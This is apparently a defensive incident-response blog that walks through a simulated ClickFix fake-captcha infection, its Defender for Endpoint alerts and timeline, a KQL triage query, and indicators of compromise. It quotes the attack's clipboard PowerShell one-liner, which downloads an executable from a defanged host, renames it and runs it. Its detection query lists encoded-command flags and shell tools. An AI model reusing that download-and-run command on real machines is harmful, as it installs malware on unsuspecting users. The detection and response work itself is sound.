Investigating ClickFix Incidents
With ClickFix being one of the popular delivery methods for malware, infostealers and state-sponsored hackers it is time to share a blog on investigating these incidents using Defender For Endpoint.
In ClickFix campaigns a fake (captcha) message is displayed forcing users to validate that they are human. The ‘validation’ executes a malicious command using Windows + Run.
The topic discussed in this blog:
Initial Compromise
In the simulated ClickFix scenario the user John Davis visited the page as seen below on the lookout for content related to cloud robots. He thought that the verification steps needed to be performed in order to continue to the actual content on cloud robots.
John executed the command that was stored in his clipboard into Windows Run and executed the command to verify that he is human. The command compromises the device of John. The command line execution performs the following steps:
- Download a file and store it in the public folder
- Sleep 10 seconds
- Rename the file to December_blob.exe
- Start December_blob.exe
- Assign a value to variable $a
Clipboard content:
powershell -c "curl https://mootornot[.]com/UgjcdhRkMqI -OutFile $env:public/blob;
sleep 10; move $env:public/blob $env:public/December_blob.exe; start $env:public/December_blob.exe;
$a = "\80[.]64.16.37\a" # ID-71459282255600
The PowerShell command remotely downloads the initial payload file and stores it in the C:\Public folder. After 10 seconds the file is renamed to December_blob.exe and executed, marking the initial infection of the host.
The Incident
The execution of John triggered multiple alerts that need to be investigated, which is the starting point for the ClickFix investigation. I simulated multiple different ClickFix executions in the same timeframe, in the real-world scenario the number of alerts is more limited.
From the incident, we can move to the alert timeline, which is displayed in a process tree form. First, we can identify the PowerShell command that was copied to the clipboard and has been executed. At the same moment, the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU registry key is set. The value of this registry key is the contents pasted in the Windows + Run command, making it a key indicator for the detection and response of ClickFix cases.
Shortly after the execution of the PowerShell script the file December_blob.exe is downloaded. The RunMRU entry and the file dropped on disk are key indicators to raise an alarm for a bigger investigation.
The RunMRU entry and the file dropped on the disk raise red flags. The investigation into the full impact can take a significant amount of time hence it is important to contain the incident as soon as possible to prevent further impact. Some containment steps that can follow based on a ClickFix case:
- Isolating the device
- Disabling the account
- Revoke user sessions
- Reset password
Keep in mind that you want to preserve the forensic evidence on the host, for example shutting down the system is not a solution as the memory is lost. Another advangtage of keeping the host online is the fact that you can use Live Response to perform live forensics on the system, making the investigation more efficient.
Device Timeline
From the alerts, we can pivot to their exact moment in the timeline, which gives us the view below. Without filtering or performing any further investigation the timeline shows interesting indicators that followed after the Windows Run was executed (read the timeline from the alert upwards):
- The file December_blob.exe is executed by PowerShell.
- The process established multiple connections. These could be to load other malware, connect to a C2 or exfiltrate data.
- December_blob.exe is executing WMI queries to collect information on the infected host.
- December_blob.exe loads a dll named hvcsrv.dll.
Raw timeline logs:
Apr 22, 2025 10:40:18.540 PM december_blob.exe created file hvcsrv.dll
Apr 22, 2025 10:40:18.539 PM December_blob.exe modified the COM class 2155fee3-2419-4373-b102-6843707eb41f
path to C:\Users\john davis\AppData\Local\IdentityNexusIntegration\hvcsrv.dllkwH5¬¢øÒ]h¬,Ð]~Esth¬—ñ)ð€Ð]€Ð]^…rtÔÐ]H5¬n…rt\Ð]
H5¬¢xÐ]ÖNgwÔÐ]H5¬€ªÐ*¢xþ·*…*;¸ãJÓþÌj†ž¼ —?ޏª'°ã][ŸY¼Ð]MÞB¬†ž¼
Apr 22, 2025 10:40:18.539 PM december_blob.exe created registry key 'HKEY_CURRENT_USER\<SID>_Classes\CLSID
\{2155fee3-2419-4373-b102-6843707eb41f}\InprocServer32'
Apr 22, 2025 10:40:16.663 PM december_blob.exe established connection with 5.149.255.194:443 (grandenoid[.]org)
Apr 22, 2025 10:40:15.239 PM December_blob.exe executed the WMI query 'SELECT * FROM Win32_Processor'
Apr 22, 2025 10:40:15.206 PM December_blob.exe executed the WMI query 'SELECT * FROM Win32_BaseBoard'
Apr 22, 2025 10:40:14.603 PM december_blob.exe established connection with 85.158.109.183:443 (mootornot[[.]com)
Apr 22, 2025 10:40:14.505 PM december_blob.exe loaded module December_blob.exe
Apr 22, 2025 10:40:14.492 PM powershell.exe created process December_blob.exe
Apr 22, 2025 10:40:14.488 PM powershell.exe created process December_blob.exe with an empty PE original file name
Apr 22, 2025 10:40:14.488 PM December_blob.exe performed system information discovery
Pre-Incident Timeline
On the other hand we are also interested in the question of how did the user get infected? THis question is mainly important to determine if the user was targetted, or that it was a drive by compromise. The answer on the question may also help to prevent further infections, as you could implement policies or block IOCs to prevent future attacks.
Based on our incident the timeline tells the story.
- The first two network connections are established to the cloudrobots[.]cloud domain. In this case, I directly put the domain in the web browser, if a user first searches on Google for results you can also identify network connections to Google and Googleadservices.
- Data is copied to the clipboard, in this case, the malicious PowerShell execution.
- John executed the Windows Run Powershell command, which started a PowerShell process.
- A new entry is added to the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU registry key, its content being the malicious PowerShell script.
ClickFix Triage Query
To efficiently triage ClickFix incidents the ClickFix Triage KQL Query below is developed. The KQL query has the following input:
- VictimDeviceId: DeviceId of the device that triggered the ClickFix incident
- TopXEvents: Amount of events you want to collect before and after the Windows Run execution.
- TimeFrame: Min and max timeframe between the Windows Run execution and the last event collected.
These variables can be adjusted to your needs.
let VictimDeviceId = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
let TopXEvents = 15;
let TimeFrame = 5m;
Based on these variables the KQL query collects the following information:
- The TopXEvents network events before the compromise, will most likely point to the infected (WordPress) site that hosted the fake captcha.
- The RUNMRU event itself and the related registry key changes.
- The TopXEvents post-compromise network events.
- The TopXEvents post-compromise process events.
- The TopXEvents post-compromise file events.
When running this triage script on the device of John we get the following results.
- ☢️ RunMRU Event: Lists the RUNMRU registry key change, this includes the executed command.
- 🛜 Post Infection Network Event: Lists network connections grandenoid[.]org and mootornot[.]com to collect the payloads.
- 📁 Post Infection File Event: Lists the file creation events of c:\users\public\december_blob.exe, C:\Users\john davis\AppData\Local\IdentityNexusIntegration\hvcsrv.dll, C:\Users\john davis\AppData\Local\PeerDist\consrvm.dll
- ♻️ Post Infection Process Event: Lists the execution of December_blob.exe.
// Input variables
let VictimDeviceId = "ad99bd95733f62294b5b76bb63b113bff44d06ef";
let TopXEvents = 15;
let TimeFrame = 5m;
// Input parameters for the forensic hunting query
let Parameters = dynamic(['http', 'https', 'Encoded', 'EncodedCommand', '-e', '-eC', '-enc', "-w"]);
let Executables = dynamic(["cmd", "powershell", "curl", "mshta"]);
let FilteredSIDs = dynamic(["S-1-5-18"]);
let RegKeyEvents =
DeviceRegistryEvents
| where DeviceId =~ VictimDeviceId
| where ActionType == "RegistryValueSet"
| where RegistryKey has "RunMRU"
| where RegistryValueData has_any (Parameters) and RegistryValueData has_any (Executables)
| extend LogType = "☢️ RunMRU Event"
| project Timestamp, DeviceId, DeviceName, RegistryValueData, RegistryKey, LogType;
let RegKeyEventTimestamp = toscalar (RegKeyEvents | summarize Timestamp = max(Timestamp));
let NetworkEventsParser = materialize (DeviceNetworkEvents
| where DeviceId =~ VictimDeviceId
| where not(InitiatingProcessAccountSid in~ (FilteredSIDs))
| where isnotempty(RemoteUrl)
| extend MatchTimeStamp = RegKeyEventTimestamp
| project Timestamp, RemoteIP, RemoteUrl, ReportId, DeviceId, DeviceName, MatchTimeStamp, InitiatingProcessCommandLine);
let PreInfectionNetworkEvents =
NetworkEventsParser
| where Timestamp between ((MatchTimeStamp - TimeFrame) .. MatchTimeStamp)
| top TopXEvents by Timestamp desc
| extend LogType = "🛜 Pre Infection Network Event";
let PostInfectionNetworkEvents =
NetworkEventsParser
| where Timestamp between (MatchTimeStamp .. (MatchTimeStamp + TimeFrame))
| top TopXEvents by Timestamp asc
| extend LogType = "🛜 Post Infection Network Event";
let PostInfectionProcessEvents = DeviceProcessEvents
| where DeviceId =~ VictimDeviceId
| where Timestamp between (RegKeyEventTimestamp .. (RegKeyEventTimestamp + TimeFrame))
| top TopXEvents by Timestamp asc
| where not(InitiatingProcessAccountSid in~ (FilteredSIDs))
| extend LogType = "♻️ Post Infection Process Event"
| project Timestamp, ReportId, LogType, DeviceId, DeviceName, ProcessCommandLine, InitiatingProcessCommandLine;
let PostInfectionFileEvents = DeviceFileEvents
| where DeviceId =~ VictimDeviceId
| where Timestamp between (RegKeyEventTimestamp .. (RegKeyEventTimestamp + TimeFrame))
| top TopXEvents by Timestamp asc
| where not(InitiatingProcessAccountSid in~ (FilteredSIDs))
| extend LogType = "📁 Post Infection File Event"
| project Timestamp, ReportId, LogType, DeviceId, DeviceName, ActionType, InitiatingProcessCommandLine, FolderPath;
union isfuzzy=false PreInfectionNetworkEvents,RegKeyEvents, PostInfectionNetworkEvents, PostInfectionProcessEvents, PostInfectionFileEvents
| sort by Timestamp asc
| project-reorder Timestamp, DeviceId, DeviceName, LogType, RemoteUrl, RegistryValueData, ProcessCommandLine, FolderPath, InitiatingProcessCommandLine
Indicators of compromise
The following IOCs are identified based on the performed investigation. These IOCs are very low in the pyramid of pain and have a short lifetime. If you want to hunt for potential ClickFix infections I recommend using the Suspicious RUNMRU Entry query, as this hunts for the specific technique.
IOC Type | Value |
---|---|
URL | https://mootornot[.]com/UgjcdhRkMqI |
IP | 80[.]64.16.37 |
Domain | grandenoid[.]org |
Domain | cloudrobots[.]cloud |
SHA256 | 834be3681a1ea3490f73a9132218ca72cb13efdf63ae242b03d23794469fa3f8 |
SHA256 | 40897008261e0e652106ebd0e529aa39db44e188294d4f41b503fe0f45902819 |
If you encounter a ClickFix case, do not only focus on the host that triggered the ClickFix incident but verify with the found IOCs of your investigation if the scope is only limited to this one device. In Defender XDR you can use the search bar to find the observed in organization for domains, hashes and IPs returning an overview of the potential impact. It is highly recommended to add these indicators to the Defender For Endpoint Indicators list in block mode, to prevent further harm.
Next steps
For the next investigation steps a standardized approach is difficult to determine as it depends on a couple of elements. First of all, if the device gets infected, Defender For Endpoint can prevent suspicious Windows Run executions in certain conditions.
Another element is the fact that multiple malware types can be deployed through ClickFix infections, some only steal information, others load beacons, others try to establish persistence. For each of these malware types, the next investigation steps are different.
You can leverage predefined KQL DFIR queries for further investigation on the compromised entities: DFIR KQL Queries.
The Incident Response series has more content with practical tips and use cases for incident response:
Detection Possibilities
In the case of the ClickFix incident described in this blog, multiple custom detections from the Hunting-Queries-Detection-Rules were triggered. These rules can be implemented to detect different stages of the attack.
Questions? Feel free to reach out to me on any of my socials.